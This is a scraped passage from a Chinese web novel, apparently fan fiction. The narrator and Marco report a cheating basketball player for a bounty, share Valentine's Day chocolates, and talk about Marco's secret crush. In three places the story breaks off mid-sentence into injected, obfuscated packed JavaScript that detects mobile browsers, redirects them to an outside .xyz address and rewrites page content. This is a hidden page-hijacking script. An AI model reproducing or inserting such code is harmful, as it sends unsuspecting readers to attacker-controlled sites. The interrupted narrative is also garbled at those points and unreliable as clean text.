办事处待接取的任务汗毛充栋,却并不是所有的都适合,还需自行评估难易程度,以及对两率一分的影响……只有一种“例外”。 A级任务:针对不法分子的检举,成功检举立得十万,计入年度考核。 该任务没有任何风险,可以不假思索抢着做。 于情于理、合法合规,我要推介给卡卡西。 “……他是能力者,会自由控制查克拉,有谋私动机和行为。名字忘记了,有照片,我拍了他,你在后台看看?” “没问题。哇,运气真好,今年开年红啊!” 卡卡西是老江湖了,一点就通: 一般来说,但凡在办事处登记过的潜在能力者,会在配合办事处做测定的过程中,清楚知晓违纪的后果,绝不会在社会上随意使用能力。如他这般肆意妄为者,十之八九没有登记,不登记是违法;余下一两分可能,是记录在案的情况——那更严重,办事处严禁能力者以不公平手段侵害普通人的利益,他明知故犯,罪加一等。 “……他不是本市的吗?” “不是。” “那上届也参加球赛了吗?” 好问题,可惜我不知道答案。 马尔科连忙去问——据说这位上一届不仅参加了球赛,还带领校队荣获地区赛年度冠军,所以今年才当上了队长。 “……哦,”卡卡西了然,“如果办事处调查证实,他上届也动用了能力,那罪加一等。” “是五十万吗?” “是啊!”他连发了三个“大笑”表情,喜不胜收,“顶格处理,举报金五十万!” 好运不会凭空发生,但会转移。他的不幸,正是我们的幸运。 天上掉馅饼的好事,卡卡西闲着也是闲着,这任务正中下怀。 “……不用找名字了,马尔科。办事处的系统非常智能,已经检索到了当事人了。寸头,黑发,下垂眼,嘴角有颗痣,是吗?” “啊,对!就是他!” “OK,马上进入检举流程——家人们,我去隔壁市出几天差,冲冲业绩!” “OK!” 事情搞定。检举交给卡卡西就好。 我批评马尔科:“哼。” “嗯?”他一愣,哑然失笑,“大小姐,你哼哼什么啊?” “你生完我的气了,现在我要生气了!” “啊?”他更愣住了,“你生什么气?” 我生气,大声凶他:“他故意撞你,你不知道吗?” “知道啊。” “那你就让他撞你?” “啊……那不然呢?”他扶着眼镜,反问我,“我总不能揍他吧?揍他会给你惹麻烦,如果我们都被扭送进了办事处……” “我把你赎出来。” “?” “真的。” 我说真的。我有把握把他捞出来。 马尔科忍俊不禁—— “我看看,”他捏着我胳膊,“大小姐的胳膊肘是往内拐的啊?” “怎么会?”我惊住了,这怎么可能,“我的胳膊肘明明是往外拐的!” 他没有接话,把我胳膊绕到腰后,抱住我,嗤嗤地笑。 马尔科真是的——我在生气诶!他突然贴贴,对我使用亲近的魔法。我没有办法再同他置气,忍俊不禁。 “马尔科你是最帅的!” “真的吗?” “真的,很帅气!” 空口无凭,有照片为证。等晚上回家,马尔科就会知道了——百口莫辩,他就是全场最帅气的仔! 球场的观众已经散尽,我们也该回家了。 刚出二楼更衣室,迎头撞上了一堵肉墙。 篮球队员们齐刷刷站成一排,不用问,又是守株待兔。 经理也在其中,她看着我,笑着,满面红光。 “有什么事?”马尔科问话,把我护到身后。 “没什么事,”热情的大学生前来发出真挚的邀请,一双双眼睛熠熠生辉,“呃……那个,多亏有你,我们才能赢比赛。晚上聚餐跟我们一起吧?” 马尔科不假思索:“你们吃,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798964|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有事。” “……啊,好吧。那参加球队的事真的不再考虑一下吗?” “不了。”马尔科一口回绝。 这不是他第一次拒绝。凉水被泼了两三次,学生们显然有点习惯了。 众人没有哭嚎着落寞,只是承诺着告白:“……不管怎样,至少在我们心里你是当之无愧的队长,我们校篮球队的大门永远会为你敞开!” “嗯,”马尔科点头示意,没有多说,请他们让路。 “……”他去意已决,学生们也只好作罢。 …… 六点钟,我们从体育馆走出来。 整个下午,马尔科队长都在指挥球队运转,赛情紧急,中场休息也没有过来找我。这时候他牵着我的手,我的手已经变回了没有知觉的冰疙瘩状态。 这是我在冬天的常态。我早已习惯,马尔科不习惯,心有芥蒂。 “……怎么冻成这样?”他牵着我反复搓揉,耿耿于怀没有早点来找我,“大小姐,晚上去吃点暖和的东西吧?” “不要,”我试图商量,“不想排队,去食堂吃饭吧,吃完饭快点回家看小说。” “看小说?” “嗯!” 我已经等不及快点回家看小说了。 几乎所有校园文都会出现同样的桥段:考场和球场,男主角总归要得意一个。而诸如考场一类的静态“得意”很难写出身临其境的感染力,所以大多数校园文都走“球场得意”的路线。 但起初我并不知道为什么那种男主会备受欢迎?只能人云亦云地认为既然所有人都这么写,就说明打球的男生的确有魅力,即便我个人并不太知道“魅力”究竟体现在哪里? 现在我知道了,是氛围的问题。 体育馆并没有搭设聚光灯,青春也没有真实的舞台。而当热闹和喧嚣形成声浪,将人高高托举——不需要舞台和聚光灯,人在哪里,那里自然闪亮。 是人在发光,不是篮球发光。 所以这种“魅力”本身和篮球没有直接关系。篮球只是一种载体,一种表现形式,换了足球、网球、排球、乒乓球也不影响。 至于为什么这人会发光,我想很好理解。 有些事情闭门造车,百思不得其解;而一旦切身体会,即刻融会贯通。 我之前围观过数次职场球赛,职场球赛不会有这么热烈。 成年人见多识广,眼睛看山是山,视角颇为现实,球赛就是球赛,结局左右不了生活,改写不了世界。无论多激动人心的一场球赛,也不过一场球赛而已;清醒、客观、现实,但少了一分热诚。 而学生们涉世不深,生活相对贫瘠有限,眼睛看山不是山,球赛就是生活的全部;倘若比赛输了,即便它并不是客观意义上的“绝境”,但在主观的认知里,它就是。 我不理解“球场得意”形男主的魅力究竟在哪儿? 但我理解文学来源于生活,而高于生活。校园文会保留学生时代的清纯,同时也加剧比赛输赢的对立。 假设一场比赛不是比赛,是背水一战的绝路;打球不是打球,是狭路相逢、两军相接。那我能够理解了: 倘若球场如战场,非生即死,那么对于胜利的渴望,正如漫长黑夜里对光明的仰慕。 这时候不能输!输了比赛,就是输了一切。为了不输,可以付出一切,甚至生命。 这种时候出现的男主,名义上是“新生”“队长”“援兵”,事实上扮演了“拯救者”。 换言之,他是英雄。 校园文里的“英雄”。 归根结底……是英雄情结啊! 我理解了!之所以看一场球赛就可以坠入爱河,是因为在氛围的主导下、环境的烘托中,女主无意识地对男主产生了“英雄情结”,爱意从仰慕里滋生。 “……之前都看不懂呢,”我和马尔科讲,可喜可贺,居然有意外收获。 他闻言直笑:“大小姐,你究竟是在看小说,还是在做文学鉴赏?” “我在学习。” “学习?”他笑得更大声,“学习小说?” “嗯!”我点点头,催促他,“我们快点回去,我要把所有的校园竞技文都翻出来,重新看一次,好好理解一下这类型男主的魅力!” “哈哈……” 他乐不可支。篮球队还没走远,马尔科叫住铩羽而归的一群人。 “诶队副——” “什么?” “球队就不参加了,不过下次打球也叫我吧。如果我有空的话。” “!” …… 十八九岁的少年是初升的太阳。 春天不在别处,绽放在他们花枝招展的笑容里。 44.19 喜欢(1) 马尔科还是参加了校篮球队。 虽然他三令五申不准备参加,但计划赶不上变化。三天后的中午,我们正在教师食堂吃饭,球队成员守株待兔无果,突然打来电话—— “马尔科,告诉你一个好消息!” “什么?” “我们收到赛事组的通知:从去年开始,对方队长涉嫌严重违规,现经办事处查处,确认无误。他们队的比赛成绩统统取消,那天的比赛成绩不作数了!” “这是好消息吗?” “是啊!”电话里七嘴八舌地讲着,“去年我们也输给他们,地区赛第一轮海选就被刷掉了。明明在交流赛里和冠军队不相上下,偏偏一打正式比赛就出不了线——这次赛事组为我们正名了!不是我们不行,是他们作弊!” 那当然是好消息! 沉冤得雪,大仇得报! “恭喜啊,”马尔科没把自己当“自己人”,礼貌问着,“那比赛成绩取消了是什么意思?” “赛事组综合考虑后,决定给我们补偿,所以今年可以拿到直升名额,直接进入十六强。接下来的三个月都不用比赛了,等别的学校打完比赛,我们直接去打八强赛!” 眼下队员们几乎都在医院里疗养,按照正常流程,每隔一星期进行一场比赛,队员们来不及康复,球队仍然处在危急之中。 可若是有直通名额,在三个月后才参与比赛,那意味着黎明前最黑的时刻已经过去,等轻伤的一批出院,球队很快就能正常运转。 “啊啊啊!太好了太好了!” “真的太好了,都不知道要怎么感谢你!” “呜呜呜,马尔科,你是我们篮球队的大救星啊!” …… 大学生们好是热情,喧哗声震耳欲聋。 隔着满满一桌饭菜,我也能听到电话里激动的喊叫。马尔科早早皱眉,把手机拿远了些。 计划赶不上变化。 本着友谊第一、比赛第二的原则。正式赛阶段,赛事组明令禁止在队伍遭受巨大损失,受伤人数过多,为安全考虑医生不建议参赛时强行参赛。 眼下十六强名单自动锁定,至少在七月底篮球联赛最终落幕之前,马尔科暂时不能退出队伍,否则会致使球队失去资格。 至于他并不准备参与后续比赛——大赛赛事过分繁琐,与马尔科“一年完成普通人六七年学业”的计划冲突——篮球队表示理解。“万般皆下品,惟有读书高”在我们家是铁律,在学校、学生里亦然。 “没关系,你好好学习,比赛我们自己打就好!” 学生们没别的意思,特意打电话来,只是希望马尔科留队。 理由令人唏嘘—— “拜托了,挂名就好。认识你以后我们变得运气很好!你会给我们队伍带来好运!” “……好吧。” 迫不得已,马尔科姑且答应了。事已至此,只能暂时保留“校队成员”的身份。 “卡卡西动作真快——赛事组收到办事处通知、召集人手开会、商量出结果……这怎么着也要个两天时间吧?卡卡西一天就搞定了?”他放下手机,和我说话。 我正在偷吃他盘子里的苦瓜,马尔科一回头,将我逮个正着。 “你干嘛呢,大小姐?”马尔科大吃一惊,连忙从我手里抢,我不给,一口吞进肚子里。 太难吃了! 食堂的大师傅江郎才尽,做不出新的管理员菜系,近来自行研究起了黑暗料理。创新当然是好的。但是显然,大师傅并不懂管理员菜系的精髓,所创新的作品令人作呕。 我从未品尝过如此难以下咽的食物。这一口吞咽,需要足足三杯水才能缓过劲来。 世界上怎么会有如此难吃的食物! “呜呜……好难吃。”我已经吃了,但我还是要和马尔科告状。 他哭笑不得:“难吃你干嘛还吃啊!” “不能浪费食物!” “那你丢到我盘子里来,我吃掉就好了。” “不要,”我苦着脸,一定很丑,可我压根顾不上那些,“真的很难吃,你吃不下去的。” “怎么会?我当然可以吃下去啊,我——” “那也不要!” 他吃不下去的,他根本不知道这东西究竟有多难吃!又苦又酸又咸又辣,口感怎么能奇怪成这样? 我分明从不挑食,也碍于这东西过分难以下咽,忍不住和马尔科哭诉—— “呜呜呜……好难吃好难吃!” “哎哟,我的大小姐,你可真是……”马尔科一脸无奈,坐到我边上刚说我几句,一对上我眼睛,又忽然笑道,“怎么还哭了呢?!” “我没哭。” “那这是什么?”他用拇指擦去我眼眶里的小珍珠。 我告诉他:“是小珍珠。” “小珍珠?”马尔科又好气又好笑,“都掉小珍珠了,还不是哭了?” “不是,”我摇摇头,“我没哭,是我的身体在抗议,怎么给它吃这么难吃的东西。” “哎哟,大小姐……真是败给你了,”马尔科笑得合不拢嘴,“你都知道难吃了,那你放我盘子里,我吃掉好了啊!” …… 这怎么可能呢?我不答应。 不能浪费食物,意味着我和马尔科之间必须有一个人得吃掉这些东西。如果一定要有一个人赴汤蹈火的话,我是管理员,当然是我责无旁贷,在所不辞。 这不是一个可以讨论的话题—— 我是管理员,这是事实,事实胜于雄辩。 而且讨论“该由谁吃”也毫无意义—— 我已经吃进了肚子里,鉴于大师傅的“创新大作”倒人胃口,一段时间之内,我也不准备再给他捧场。他的黑暗料理将被判处死刑,永远地离开我的生活。 至于已经被吃掉的黑暗料理—— 事已至此,往者不可谏,来者犹可追。判刑之余,我们最应该讨论的是如何补救。 下午还有课。从教师食堂出来,返回教室的路上人潮挤挤。 我思来想去,在没人的角落哼哼唧唧地抱住马尔科的胳膊,请求我的私人医生特赦我一日:“……呜呜,马尔科。” 他笑着叹气:“哎哟,怎么了呀,我的大小姐?今天一直撒娇。” “没有撒娇。” “那这是干什么呢?”他问我,“一直发出可爱的声音是想干什么呢?” “……”好吧,既然他发现了,那我直抒胸臆,“今天可以喝奶茶吗?我知道生理期之前要忌口,但是吃了好苦的东西,真的很需要一杯甜甜的奶茶!” “就这个?” “嗯,”我点着头,开始撒娇,用最柔软的语气和他说话,“想喝奶茶,可以吗可以吗可以吗!” “当然可以啊,”马尔科笑着把我揽到了怀里,“大小姐想喝就喝呀。” 他毫不犹豫地答应了,超乎想象的不假思索。 我知道撒娇对马尔科尤为管用,但这未免也太管用了!在我的认知里,我以为至少还得多撒娇一阵子—— 新年期间,修兵和卡卡西发现我没有肚子疼,双双恳请马尔科医生全权看护我的饮食,致力于把引发肚子疼的任何因素扼杀在摇篮里。年后马尔科医生对我管控严格,生理期前一周必须忌口。 今天就是“忌口日”,他往常春风化雨但铁面无私,而今天居然破例了! 马尔科不仅允许我喝奶茶,甚至还直接掏出手机,给我看他提前三天就预定好的奶茶。 “走吧,大小姐。我们去取,今天奶茶店买一送一呢,你可以喝两杯。” “为什么?!”我不理解。 “什么‘为什么’?”马尔科问。 ——为什么我的医生平日如此严格,今天却可以破例?甚至不是让我喝一杯,是喝两杯?! 我不理解,想知道缘由,但不敢提问。只怕这不是提问,而是提醒,万一马尔科医生想起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809025|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天是“忌口日”,严阵以待不让喝奶茶…… 后果很严重。话到嘴边,我连忙改口。 “为什么……买一送一?”我把脑袋埋在他胸口,试图萌混过关,“学校还有开学送奶茶活动吗?” “没有那种活动,”马尔科笑呵呵的,下巴贴着我发顶,柔声说着,“傻瓜,今天情人节啊!” “!” 今天是情人节吗?我不曾留意。 这几日开学,学生们陆续返校,校园里人来人往。在我看来平平无奇,同过去几天似乎并无区别。 可要说今天是情人节,又好像的确有些不同寻常……我后知后觉,今天路上没有太多的行李箱,倒是多了双双对对。 欢声笑语弥漫在校园里的每一个角落。 春天的气息就在欢笑里应运而生。 它真的来了,在每个人的心底。 我们去店里取奶茶,马尔科转身丢个垃圾的功夫,忽然被人拦下—— 是个女孩子,只有一个,看起来弱不禁风。但马尔科仍是下意识地把我护到身后。 “你、你好,马尔科同学!” “你好,有什么事吗?” “没、没什么事……就、就是,上学期一起上课,很感谢你的帮助,开学了想表达一下感谢。” 她好面生,听这话的意思,似乎是马尔科某门课的同期同学。 我嘬着奶茶,默不作声地观摩。眼看着包装精美的盒子被送到马尔科面前,他不接,施施然问询—— “冒昧问一下,这里头的东西不会是巧克力吧?” “呃……” 他大概是个笨蛋,一句话问得女孩儿都不好意思了,一张脸通红。 尴尬游走在他们之间。我看不下去了,拿胳膊撞了他一下。 但他却不以为意地说道:“好意我心领了。但今天是情人节,就算是谢礼,送我巧克力也不太合适吧?” “不不不,没有那个意思,”对方连连摆手,红着脸解释,“只是因为上学期小组作业,马尔科同学真的有帮到我很多,我非常感谢而已。” “……是这样吗?” “是、是啊!” 小组作业发生在很多医学方向的课上,马尔科作为“组长”,帮助过许多同期生。 仅凭这一点信息,我仍旧不能判断她究竟是哪门课上的同学?但看眼前情景,两人似乎不熟,像在玩什么战略游戏,互相见招拆招。 礼物横在半空中,马尔科迟迟不肯接,对方也没有收回的意思。 僵持之下,马尔科退让了半步,改口道:“既然是送给我的东西,我能处置它吗?” 她松了口气:“当然可以!” “那不介意我现在打开它吧?” “不介意不介意!” 马尔科就地撕开了包装。“滋啦”一声,我偷偷探头。 盒子里果然是巧克力,而且是包含心意的手工巧克力,有榛子、腰果、杏仁……共十一种口味,造型精致可爱,品相极好。 至于十一,嗯……兴许同玫瑰一样,代表着一心一意。 马尔科取出一颗,略微查看。 我以为是他要评鉴,哪知道他忽然转身,把巧克力塞进了我的嘴里。 “唔!” 她手艺真好,巧克力入口即化。 浪漫甜蜜的滋味和食堂大师傅创造的黑暗料理形成鲜明对比——同样是手工创作,口感却如同天堂和地狱。 “好吃么?”马尔科问我。 “嗯!”我满意地眯着眼,连连点头。却见那女孩一脸的失魂落魄。 “谢谢你的礼物,”马尔科推着眼镜,还要雪上加霜地对她说,“我家大小姐很喜欢。” “是、是吗,”她都快哭了,拼尽全力没有当面落下泪来,但一转身,抖动的肩膀和抽吸的气音仍然暴露了一切。 …… 她走了。 不是走,是落荒而逃。 45.19 喜欢(2) 我还没有思考出她究竟是哪门课上的同学,她已经转身离去,疾步快跑,消失在茫茫人海中。 背影如此仓皇,像溃败的逃兵。 可惜我太过笨拙,反应迟钝。 在她离开以后,我方才后知后觉……似乎有哪里不太对劲?我好像在不知觉里当了大反派。 嘴里的巧克力突然不香了。我拽马尔科:“马尔科!” “嗯?” “你这样伤女孩子的心了!” “哦,”他挑了挑眉,听见了,一脸地“无所谓”。 ——可这种事情怎么能无所谓呢?! 我惊住了,再次拽他:“马尔科!” “啊?” “我说,你这样伤了女孩子的心!” “嗯,”他点了点头,真的听见了,但仍旧是一脸的“无所谓”。 “……”我哑口无言,想要找他理论。他一低头,先往我嘴里塞入了一块榛子巧克力——甜甜的,真的很好吃。浓浓的黑巧克力包裹着脆脆的榛果,入口即化,却不会太黏腻。 我吃完一颗,刚要开口,马尔科又往我嘴里塞一颗。 这次是杏仁,杏仁激发了巧克力原有的苦涩,别有一番风味…… 太好吃了!好像从地狱回到了天堂! 我控制不住我的嘴角,它情不自禁地要上扬。 “哇,怎么开心成这样?”马尔科看着我笑,“吃巧克力有这么幸福吗,大小姐?” “嗯,好好吃!”我大快朵颐。 十一颗巧克力未必真的代表“一心一意”,但一定能表达“心意”。 我至今仍不知道这位女同学姓甚名谁,但我却感受到了她的心意——心意是一种魔法。礼物会因为心意而珍贵,食物也会因为心意更加美味。 她并非厨艺高手,递出礼物时,我瞥见她手指上裹着创可贴,虎口处还有被烫伤的痕迹,想她平日里很少下厨。但至少在情人节这一天,她的手艺会因心意而拔高,足以叫食堂大师傅望尘莫及。 老实说,这很奇怪。 食堂的大师傅到底是一位经过层层选拔的专业厨师。即便不懂管理员菜系的精髓,至少也有炉火纯青的技艺,他怎么能做出如此难吃的东西? 上一秒,我百思不得其解,而这一秒,因为这块美味的巧克力,我恍然大悟。 “今天是情人节啊,”我合理推测,“马尔科,你说……食堂大师傅是不是失恋了?” “……哈哈哈,大小姐,你怎么还在对大师傅的新菜耿耿于怀?”马尔科笑话我。 “嗯!”我要大声控诉,“他做的苦瓜好难吃好难吃!” “好了好了,快别说了,再说又掉小珍珠了!” 我刚准备“呜呜”,马尔科赶紧给我喂一颗巧克力,堵上我喋喋不休的唠叨。 牛奶给巧克力添加一份经久不绝的醇香;蜂蜜又减少巧克力与生俱来的粘稠与沉闷;更有玫瑰花瓣融入其中——她真是个天才,怎么会想到在巧克力里添加玫瑰花瓣呢? 所有的苦涩都可以用甜蜜来治愈。 “最后一颗,张嘴——” “你不吃吗?”我问他,“她给送你的东西,全给我吃了,她会难过的。” 那道身影早早消失在人海中,再也寻不见踪迹。 马尔科头也没回,只问我:“那你会难过吗?” 我有什么好难过的?我摇摇头:“我当然不!” “那无所谓。”他呼了口气,无事发生一般,把最后一块巧克力也放入了我的嘴里。 包装盒空空如也,盒底藏着的贺卡这才显露。 我隐约瞥见卡上写满了文字。马尔科也看见了,但视若罔闻,只确认没有别的食物,不会浪费食物,然后连盒带卡一起丢进了垃圾桶。 “走吧,大小姐。”他牵着我的手。 “嗯,走吧。”我也牵着他。 早春的阳光并不炙热,晒在身上,只有一点稀薄的暖意。 我们沿着步行道慢悠悠地往教室走,来往学生颇多,马尔科紧紧牵着我的手。经过小花园时,我偷偷看了他一眼,正巧他也在看我。目光忽然对上,我们双双微笑。 “马尔科。” “嗯?” 巧克力吃完了,我想我还是有必要和他聊一聊先前的话题。 毕竟那发言太过不解风情,知道的知道这是马尔科说的话,不知道的还以为是卡卡西说出来的呢。 我常常在马尔科身上看到卡卡西的影子,即便深知两人之所以一见如故,是因为必有一些相似之处。但那只是“相似”而非“相同”。 马尔科和卡卡西当然不一样——浪漫是突破禁锢的想象,马尔科是懂浪漫的人,自由是他的天性;而卡卡西不是,卡卡西不懂浪漫,他都不知道伤过多少个迷妹的心;马尔科可千万不要发展成这样—— “你刚来的时候,卡卡西嗑我们CP,你还记得吗?” “嗯,怎么了?” “那你记得他说的话吗?”我试图提醒马尔科,“这里没有既定的剧本,你可能会在这里找到自己的爱情。” “哦,当然记得啊,”他本看着我,听我说到这里,忽然笑着撇过头去,望向了遥远的地平线。 奇怪的态度令我费解,我拽住他,再次强调:“马尔科,我在和你讲严肃的话题!” 但他仍是笑着,连连点头:“啊好好好,严肃的话题,你说吧。” “我说,你有可能会遇到你的爱情!” “嗯,所以呢?” “所以刚才的女生身上或许会有许多优秀的品质——” “她……有吗?”他居然问我,“不知道,没怎么接触过,和她不熟。” 不是?我好像在听什么天方夜谭。 如果马尔科不去和这个女生接触,他们当然不熟了,仅凭点头之交的话,几辈子也熟悉不了啊! “你得和她交流,才能发现她的优秀和可爱呀!” “说什么啊,”他只是笑,抽出手来特意揉了揉我的脑袋,“优秀和可爱的女孩子我已经认识了啊!” “哈?”我愣住了,“你认识了?” “嗯,”他煞有介事,“早认识了,不就在眼前吗?” 眼前?谁啊?哪里啊? 我左顾右盼,没有瞧见。 “大小姐……”马尔科看着我,一副无奈样,“乱嗑我CP的话,我也要生气了。” “我不是,我没有!” 我不是在乱嗑CP,我只是想提醒他—— 语言承载着力量。那种说法莫名其妙地传出,又莫名其妙地传入他的耳朵里。我并不认为一件事情的发生是毫无缘由的,也根本不会有孤立存在的事物。我们生活在时间的长河里,身在其中或许不能窥见河流的全貌,但偶尔可以通过玫瑰去感受春天,也可以通过一些琐碎的小事去窥探命运。 所以卡卡西莫名其妙地和马尔科说出一番话自然有一定的道理。 那或许就是一种提醒。就像二号管理员的福袋——捡到“康复”福袋,当然可以预示本年度身体健康。但反过来讲,一个好端端的人,又何须二号管理员给与他“康复”的祝福呢? 康复的主体一定是病患。而感冒发烧,乃平常小事,没有人会为了买来的牛肉面里多一粒葱花而去祈祷。那么收到“康复”福袋就只能说明,这人本年度内健康方面会有大劫。若当时已在病中,灾已应验,则本年得以康复;若当时并无祸患,身体健康,那要千万小心,趁早体检。 语言的魅力就在其中。 我们家有修兵这位文字工作者,天然决定了我们家有较好的文学素养,对文字的敏锐度鞭辟入里。 我不认为卡卡西是在胡说八道。他不是一个轻佻胡来的人。 而且他真的会魔法,真的会给人带来幸运,他的金口玉言很容易一语成谶。“海贼出身会有爱情”,这话他专程和马尔科讲,还偏偏发生在马尔科过生日这一天—— 至少在我眼里,这预示着马尔科有极大概率会邂逅爱情。 对于有大概率发生的事情,要引起警觉。如若不然,机会稍纵即逝。 世界上有许多人终日期待着爱情,爱情的脚步却久久不至。马尔科很有可能能得到它。虽然不知道具体时间,但起码略有心理准备,在它降临的时候,不要暴殄天物,将其拒之门外。 起初我没有说,因为他初来乍到,需要平复心情好好生活,而不是乱上加乱。 现在我应该说,如果他没有意识到,那么从现在开始或许可以有一些意识。 机会从来都留给有准备的人。 人不能得到认知以外的一切。 我只是想提醒马尔科,不要抗拒爱情。 他可以不交朋友,那是他的自由。无所谓,都可以。但偶尔爱情来敲门的时候,会先以友情的方式出现——小说里也会分“一见钟情”和“日久生情”两种类型。如果先入为主,不由分说地拒绝全部关系,那很有可能也会因此错过萌芽的爱意。 “……我才没有嗑你CP,我只是想说,你把人全部赶走了,那万一遇到‘日久生情’类型的怎么办呢?” 我没有体验过恋爱,只凭借看小说的经历,难以理解两者之间的分别。 我只能点到即止,抛砖引玉,提醒他多留意。 “不会的,”马尔科告诉我,“赶走了也没关系啊,全部赶走才好呢。” “什么?”我难以理解。 这是马尔科吗,这真的是我认识的马尔科吗?怎么说话的方式和卡卡西一模一样呢?! 我难以理解。但我看他隐隐带笑,似乎别有深意。 我怕他对爱情毫无期待,接不住命运的馈赠,希望给他建立一点起码的认知,但事实上,当我和他说起“爱情”,马尔科似乎一点也不意外? 这好奇怪。 我还是没有看到哪里有更可爱的女孩子,他说的到底是谁?但我恍惚间似乎听出一点话外音。 我不确定,迟疑着问:“马尔科,你是不是……有喜欢的人了?!” “我有啊,”他一脸坦然地告诉我,“我喜欢很久了噢!” “很久了是什么意思?” “我也说不清楚,大概是第一次见面就很有好感了。” “!”我惊了,“是一见钟情吗!” “嗯,好像是的。” 那可是小说里的桥段!现实里真的也会发生吗? 我目瞪口呆,嘴里甜甜的奶茶顿时不香了。 我很好奇,拉着他问:“给我讲一下嘛!” “讲什么啊……”他被我缠得厉害,却总是不恼不怒,只是笑着,无奈地看着我,任由我拉扯。眼神温和,口吻亦然,与刚才那位冷酷的先生判若两人。 “讲一下,马尔科!” “讲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831943|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下。” “讲一下嘛!” …… “好好好,讲讲讲,你要听什么?” 马尔科叹了口气,虽是叹气,但我见他眉眼间全是盈盈的笑意。 我也笑着,问他:“给我讲一下‘一见钟情’是什么?” “一见钟情?” “嗯!它到底是什么样的?真的会有电流的感觉吗?心真的会扑通扑通跳?” “这个……” 太阳一旦藏到了云后,天空瞬间变脸。 起风了,凉飕飕的。 马尔科把我拉到背风的一侧,拉开大衣拉链,把我圈在衣服里。 “在这里说话冷不冷啊?”他微微拧眉。 “不冷,”我躲在他外套里,督促他,“你快说,别岔开话题!” “……一定要说吗?” “嗯!” 我靠在他胸前,能听到他心口扑通扑通地跳。 本和平常没有任何区别,直到他开口,忽然说起“会啊,一想到她就会……不受控制地开始心跳加速了”,他的心跳就真如他所言一样开始狂飙。 如果不是正在聊这个话题,我一定会认为马尔科心脏有问题。 我每天都听他的心跳。 正常人一分钟心跳六十到一百下,马尔科受果实影响,偏像鸟类,心跳比正常人快,极度安静时心跳也在每分钟一百二十下。我知道,因为我数过,睡不着觉时,我会趴在他心口数他的心跳。 那种频率我太过熟悉,以至于即便不用钟表,也能清楚的判断。 马尔科的心脏没有任何问题。他就是……物理意义上的心动了。 ——他真的有喜欢的人! “她是不是很漂亮啊?” “漂亮啊,见一面就心动了,能不好看吗?” “那性格呢,是不是很可爱?” “当然了,”他说,“我可从没有见过这么可爱的女孩子啊。” 马尔科的评价好高啊! 我好奇极了:“那她是什么样的人啊?” “这也要说吗?” “说说嘛!” “她啊……”他看着我,久久没有言语。 “说说嘛,马尔科!” “大小姐……”他一脸无奈。 “说说嘛,说说嘛!”我揪着他的衣领,要他快一点给我答案。 “好好好,我说我说,”他丝毫不恼,仍笑着,目不转睛地看着我,“她就是……很好啊,哪里都好。又年轻又漂亮,很爱撒娇,但是很有责任感,遇到问题不会逃避,哭哭啼啼地也会上……反正就是特别可爱,哪里都好。” 我静静点头,暗自感叹马尔科真的给了好高的评价! 我原以为“从没有见过这么可爱的”已经够高了,但居然不是。 “然后……” “然后?” 他已经说了许多优点了,却居然还有“然后”?! 我大为震惊。 马尔科却只是浅浅地笑着,看着我的眼睛,一字一句地告诉我:“然后……怎么说呢?平常呆呆的,不怎么聪明的样子,经常说出一些很奇怪又很可爱的傻话。原本有点担心年轻女孩的想法我不太懂,这么年轻,万一相处不来怎么办……但是她的话……” “她怎么样?”不要在关键的时候戛然而止!我催着马尔科快说! 马尔科咧着嘴笑,抬手揉了揉我的脑袋:“她实在太可爱了,又那么漂亮……就算呆呼呼的满口傻话,好像也没什么关系?” “哦……” 我懂了。他形容的这些我了解,有专业名词,是“天然呆”! 言情小说里很多“天然呆”的女主角,她们并不是笨蛋,只是有点纯真。 纯真当然不是缺点,即便是过分纯真引发的啼笑皆非,也只不过是生活里无伤大雅的调剂——小说里都这么写,纯真天然呆常有,而谁能捕捉到她们可爱的纯真,谁就是男主角! 我认为马尔科的潜台词根本是他喜欢这份纯粹,并不在意它引来的困扰。 毕竟他可是经过办事处认证才分配给我们的“很会照顾人”的类型——爱照顾人的类型得搭一个不会照顾自己的人,这才是嗑CP的精髓。 马尔科显然已经掌握了。我没有嗑他CP,我看他笑得甜蜜的眼睛,分明是在嗑自己CP。 既然他自己都嗑自己CP,那我也要嗑一下! “是谁啊?”我问他,“我方便知道吗?” “嗯?”他被我问得一愣,似笑非笑地看着我,许久以后反问道,“大小姐,你还不知道啊?” “……”我当然不知道。 数月以来,我一直知道马尔科有获取爱情的可能,但鉴于他初来乍到,需要尽快融入生活,而不是乱上加乱,我一直在忍耐,直到今天春风始来,爱情前来敲门,我才告诉马尔科。马尔科也是今天才第一次告诉我其实他已经有了喜欢的人,而且是一见钟情。 ——但他不告诉我名字,我怎么知道他喜欢谁? “……” 对话戛然而止。我和他面面相觑。 “是谁啊?”回教室前,我最后一次询问马尔科。 